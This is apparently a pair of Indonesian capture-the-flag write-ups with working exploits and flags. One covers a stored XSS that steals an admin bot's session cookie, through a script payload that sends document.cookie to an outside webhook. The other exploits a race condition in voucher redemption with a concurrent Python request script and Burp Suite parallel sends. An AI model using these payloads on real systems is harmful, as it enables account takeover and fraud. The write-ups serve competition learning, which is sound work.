titippesan
Challenge Description
so di sini, peserta mendapatkan link suatu website beserta zip source nya, berikut isi dari zip source nya

Analysis
kerentanan nya berada pada file src/views/admin.ejs dan src/views/admin-message.ejs
admin.ejs:
<%- include('partials/header', { user, title: 'Inbox admin' }) %><div class="page-head"> <h1>Inbox</h1> <p><%= unread %> pesan belum dibaca. Klik untuk membaca penuh.</p></div><% if (messages.length === 0) { %> <div class="empty">Inbox kosong. Warga belum nitip pesan.</div><% } else { %> <div class="list"> <% messages.forEach(function(m) { %> <a class="row pesan-link" href="/admin/messages/<%= m.id %>"> <span> <span class="judul"><%- m.title %></span> <% if (!m.is_read) { %><span class="badge baru">baru</span><% } %> <br><span class="sub">dari <strong><%= m.sender %></strong> · #<%= m.id %></span> </span> <span class="waktu"><%= m.created_at %></span> </a> <% }) %> </div><% } %><%- include('partials/footer') %>admin-message.ejs:
<%- include('partials/header', { user, title: 'Baca pesan' }) %><a class="back" href="/admin/messages">← Kembali ke inbox</a><div class="pesan"> <div class="pesan-head"> <h2><%- msg.title %></h2> <div class="pesan-meta">Dari <%= msg.sender %> · <%= msg.created_at %></div> </div> <div class="pesan-body"><%- msg.body.replace(/\n/g, '<br>') %></div></div><%- include('partials/footer') %>sekilas kedua file di atas terlihat normal, tapi perhatikan tag ejs yang dipakai untuk me-render data user:
<%= ... %>→ output di-escape (aman dari xss)<%- ... %>→ output mentah / tidak di-escape
judul (<%- m.title %>) dan isi pesan (<%- msg.body ... %>) dirender mentah, dan itu titik masuknya
sekarang telusuri dari hulu (input) sampai hilir (bot admin) untuk memastikan alurnya bener bener nyambung
1. input: pesan disimpan tanpa sanitasi (src/routes/messages.js)
router.post('/message', requirelogin, (req, res) => { const title = string(req.body.title || '').trim(); const body = string(req.body.body || '').trim();
if (title.length < 3 || title.length > 120) { // ... 400 ... }
if (body.length < 5 || body.length > 5000) { // ... 400 ... }
const info = db.get().prepare( 'insert into messages (user_id, title, body) values (?, ?, ?)' ).run(req.user.id, title, body);
// ...});validasi yang ada cuma panjang karakter, tidak ada stripping tag html, tidak ada sanitasi, dan tidak ada encode
html/js apa pun yang dikirim lewat form judul pesan / isi pesan tersimpan lengkap di sqlite
artinya ini stored xss, bukan reflected: payload mengendap di db dan dieksekusi setiap kali halaman admin dibuka
2. output: bukan cuma halaman admin yang rentan
selain dua file admin di atas, halaman user biasa juga me-render mentah:
src/views/messages.ejs
<%- m.title %>src/views/message-detail.ejs
## <%- msg.title %>
...
<%- msg.body.replace(/\n/g, '<br>') %>ini berguna untuk attacker: payload bisa dites dulu di sesi sendiri (buka /messages/ milik sendiri, lalu lihat apakah script jalan) sebelum menunggu bot admin.
sementara field yang di-escape seperti <%= msg.sender %> dan <%= m.created_at %> tidak bisa dipakai karna username dibatasi regex ^[a-z0-9_]{3,20}$ saat register, jadi tidak ada celah lewat situ
3. session: cookie tanpa httponly (src/routes/auth.js)
res.cookie('session', token, { httponly: false, samesite: 'lax', path: '/', maxage: 7 * 24 * 60 * 60 * 1000});token dibuat dari crypto.randombytes(32).tostring('hex') 64 hex char, tidak bisa ditebak, dan sesi disimpan di tabel sessions lalu dicek ulang di db setiap request (src/middleware/auth.js → loadsession).
jadi tidak ada jalan memalsukan session, satu-satunya cara mendapatkan sesi admin adalah mencurinya, dan httponly: false membuat document.cookie bisa dibaca oleh javascript
ini kondisi yang sengaja disiapkan untuk diexploit
tambahan: tidak ada middleware csp/helmet di src/server.js, jadi <script> inline dari pesan ga dibokir browser saat page admin dibuka
4. target: flag hanya untuk admin (/src/routes/admin.js)
router.get('/admin/flag', requireadmin, (req, res) => { const flag = process.env.flag || 'smkn24{flag_belum_dikonfigurasi_hubungi_panitia}'; res.render('admin-flag', { user: req.user, flag });});requireadmin ngereject non-admin (redirect ke /login kalau belum login, 403 kalau sudah login tapi bukan admin)
eksekutor: bot admin (src/bot.js)
const crypto = require('crypto');const db = require('./db');
let running = false;
function sleep(ms) { return new Promise((r) => setTimeout(r, ms));}
async function ensureAdminSession(username) { const database = db.get(); const admin = database.prepare('SELECT * FROM users WHERE username = ?').get(username); if (!admin) return null; const token = crypto.randomBytes(32).toString('hex'); database.prepare('INSERT INTO sessions (token, user_id) VALUES (?, ?)').run(token, admin.id); return token;}
async function visitAsAdmin(baseUrl, sessionToken, perMessageWaitMs) { const { chromium } = require('playwright'); const browser = await chromium.launch({ headless: true, args: [ '--no-sandbox', '--disable-setuid-sandbox', '--disable-dev-shm-usage', '--disable-gpu' ] }); try { const context = await browser.newContext(); await context.addCookies([{ name: 'session', value: sessionToken, domain: new URL(baseUrl).hostname, path: '/', httpOnly: false, sameSite: 'Lax' }]); const page = await context.newPage();
await page.goto(baseUrl + '/admin/messages', { waitUntil: 'domcontentloaded', timeout: 15000 }); await page.waitForTimeout(1500);
let links = []; try { links = await page.$$eval('a.pesan-link', (as) => as.map((a) => a.getAttribute('href'))); } catch (e) { links = []; } links = (links || []).filter(Boolean).slice(0, 100);
for (const href of links) { const url = href.startsWith('http') ? href : baseUrl + href; try { await page.goto(url, { waitUntil: 'domcontentloaded', timeout: 15000 }); await page.waitForTimeout(perMessageWaitMs); } catch (e) { } }
try { await page.goto(baseUrl + '/admin/messages', { waitUntil: 'domcontentloaded', timeout: 15000 }); await page.waitForTimeout(1500); } catch (e) {}
await context.close(); } finally { await browser.close().catch(() => {}); }}
async function loginAndGetCookie(baseUrl, username, password) { const { chromium } = require('playwright'); const browser = await chromium.launch({ headless: true, args: ['--no-sandbox', '--disable-setuid-sandbox', '--disable-dev-shm-usage', '--disable-gpu'] }); try { const context = await browser.newContext(); const page = await context.newPage(); await page.goto(baseUrl + '/login', { waitUntil: 'domcontentloaded', timeout: 15000 }); await page.fill('input[name="username"]', username); await page.fill('input[name="password"]', password); await Promise.all([ page.waitForNavigation({ waitUntil: 'domcontentloaded', timeout: 15000 }).catch(() => {}), page.click('button[type="submit"]') ]); const cookies = await context.cookies(); const sess = cookies.find((c) => c.name === 'session'); await context.close(); return sess ? sess.value : null; } finally { await browser.close().catch(() => {}); }}
async function startBot({ baseUrl, username, password, intervalMs }) { if (running) return; running = true;
const wait = Math.max(8000, intervalMs || 15000); const perMessageWaitMs = Number(process.env.BOT_PAGE_WAIT_MS || 3500);
console.log(`[bot] start, baseUrl=${baseUrl} interval=${Math.round(wait / 1000)}s`);
for (let i = 0; i < 30; i++) { try { const res = await fetch(baseUrl + '/healthz'); if (res.ok) break; } catch (e) {} await sleep(1000); }
let sessionToken = null; if (password) { for (let i = 0; i < 3; i++) { try { sessionToken = await loginAndGetCookie(baseUrl, username, password); if (sessionToken) { console.log('[bot] login via form berhasil.'); break; } } catch (e) { console.log('[bot] login percobaan gagal:', e.message); } await sleep(2000); } } if (!sessionToken) { sessionToken = await ensureAdminSession(username); if (sessionToken) console.log('[bot] memakai sesi admin internal.'); } if (!sessionToken) { console.error('[bot] tidak bisa mendapatkan sesi admin, bot berhenti.'); return; }
for (;;) { try { await visitAsAdmin(baseUrl, sessionToken, perMessageWaitMs); const row = db.get().prepare('SELECT token FROM sessions WHERE token = ?').get(sessionToken); if (!row) { console.log('[bot] sesi hilang, membuat sesi baru.'); if (password) { const t = await loginAndGetCookie(baseUrl, username, password).catch(() => null); sessionToken = t || await ensureAdminSession(username); } else { sessionToken = await ensureAdminSession(username); } } } catch (e) { console.log('[bot] putaran gagal:', e.message); } await sleep(wait); }}
module.exports = { startBot };bot playwright login sebagai admin, lalu tiap interval(bot_interval, 60 detik):
- buka
/admin/messages, - kumpulkan semua link
a.pesan-link(maks. 100 pesan newest), - buka tiap
/admin/messages/:idsatu per satu dan nunggu +-3,5 detik (bot_page_wait_ms) biar js sempet jalan, - repeat selama server jalan, tiap pesan otomatis ditandai
is_read = 1oleh route nya
Proof of Concept
1. register akun

setelah regis akan langsung diarahin ke dashboard,

2. kirim payload via fitur “kirim pesan ke admin”

karna mau ambil cookie si bot, maka kita buat payload seperti ini:
<script>fetch('<WEBHOOK>'+document.cookie)</script>
kirim,

dan tunggu (karna bot visit tiap 60 detik)

cek webhook

3. trus ganti cookie session kita dengan yang kita dapet dari webhook (cookie session admin)

reload page, nanti akan langsung logged in as admin

tinggal klik flag yang ada di navbar

Flag
SMKN24{jarang_jarang_ni_soal_client_side_web_di_seleksi_sekolah_hehehehe}takbiran ya balapan
challenge description
so di sini, peserta dikasih link website beserta zip source nya, berikut isi dari zip source nya

isinya frontend lengkap sama backend sebagian. yang disembunyiin cuma src/routes/redeem.js sama src/helpers.js, sisanya dikasih semua. jadi buat bagian redeem harus ditemuin sendiri secara blackbox, tapi saat seleksi, gw udah kasih hint yang obvious straight to the point, yaitu race condition
deskripsi soalnya kurang lebih gini:
takbiran ya balapan!
panitia takbiran rt 06 bagi bagi thr voucher.
- daftar langsung dapat 1000 poin.- ada voucher bocoran: takbiran2026 (+500 poin, sekali pakai).- kumpulin saldo sampai 5000 poin buat buka amplop thr sultan.
katanya voucher cuma bisa dipakai sekali... tapi bedug kalau dipukul bareng barengsuaranya jadi dobel. takbiran ya balapan!
http://<host>:3000analysis
saat dibuka link nya, begini kira kira tampilan website nya:

terdapat fitur regis dan login, sesudah login kira kira begini tampilan nya:

dan setelah login itu, terdapat hanya 1 fitur yang benar benar nyambung ke vuln race condition, yaitu redeem voucher
proof of concept
gw disini ngasih 2 PoC, via automatic script dan manual via burp (sesuai hint yang gw kasih pas seleksi)
python script
import sysimport randomimport stringimport requestsfrom concurrent.futures import ThreadPoolExecutor
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"VOUCHER = "TAKBIRAN2026"WORKERS = 20
def rand_user(): suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) return f"togomigi_{suffix}"
def main(): s = requests.Session() username = rand_user() password = "takbir123" r = s.post(f"{BASE}/api/register", json={"username": username, "password": password}, timeout=10) print(f"register {username}: {r.status_code} {r.text[:200]}") if r.status_code != 200: r = s.post(f"{BASE}/api/login", json={"username": username, "password": password}, timeout=10) print(f"login fallback: {r.status_code}")
r = s.get(f"{BASE}/api/me", timeout=10) print(f"saldo awal: {r.text[:200]}")
def redeem_one(i): try: resp = s.post(f"{BASE}/api/redeem", json={"code": VOUCHER}, timeout=15) try: j = resp.json() except Exception: j = resp.text[:200] print(f" [{i}] {resp.status_code} {j}") return resp except Exception as e: print(f" [{i}] error {e}") return None
print(f"kirim {WORKERS}x POST /api/redeem secara berbarengan") with ThreadPoolExecutor(max_workers=WORKERS) as ex: list(ex.map(redeem_one, range(WORKERS)))
r = s.get(f"{BASE}/api/me", timeout=10) print(f"saldo akhir: {r.text}")
r = s.get(f"{BASE}/api/flag", timeout=10) print(f"flag: {r.status_code} {r.text}") try: j = r.json() if j.get("ok") and "flag" in j: print(f"\n[SUCCESS] {j['flag']}") return except Exception: pass print("\nBelum dapet flag")
if __name__ == "__main__": main()jadi script itu cuma ngeregis dan login random username (biar bisa dipake berkali kali solvernya) dan ngirim request post ke endpoint redeem voucher sebanyak 20 request (dengan code yang voucher yang sama) secara berbarengan (race condition)
output:

via burpsuite
regis dan login seperti biasa, trus nyalain proxy pas mau redeem voucher buat nangkep request post nya

trus send to repeater

sesuain kode voucher nya dengan TAKBIRAN2026 dan bikin duplicate request nya di repeater sampe total ada 20 request

trus klik kanan pada salah satu tab request, dan klik add tab to group

trus pas mau send, klik panah samping kanan button send request nya, trus pilih kirim secara parallel

dan kirim

buka amplop, dan

flag
SMKN24{takbiran_yh_balapan_togomigi1337}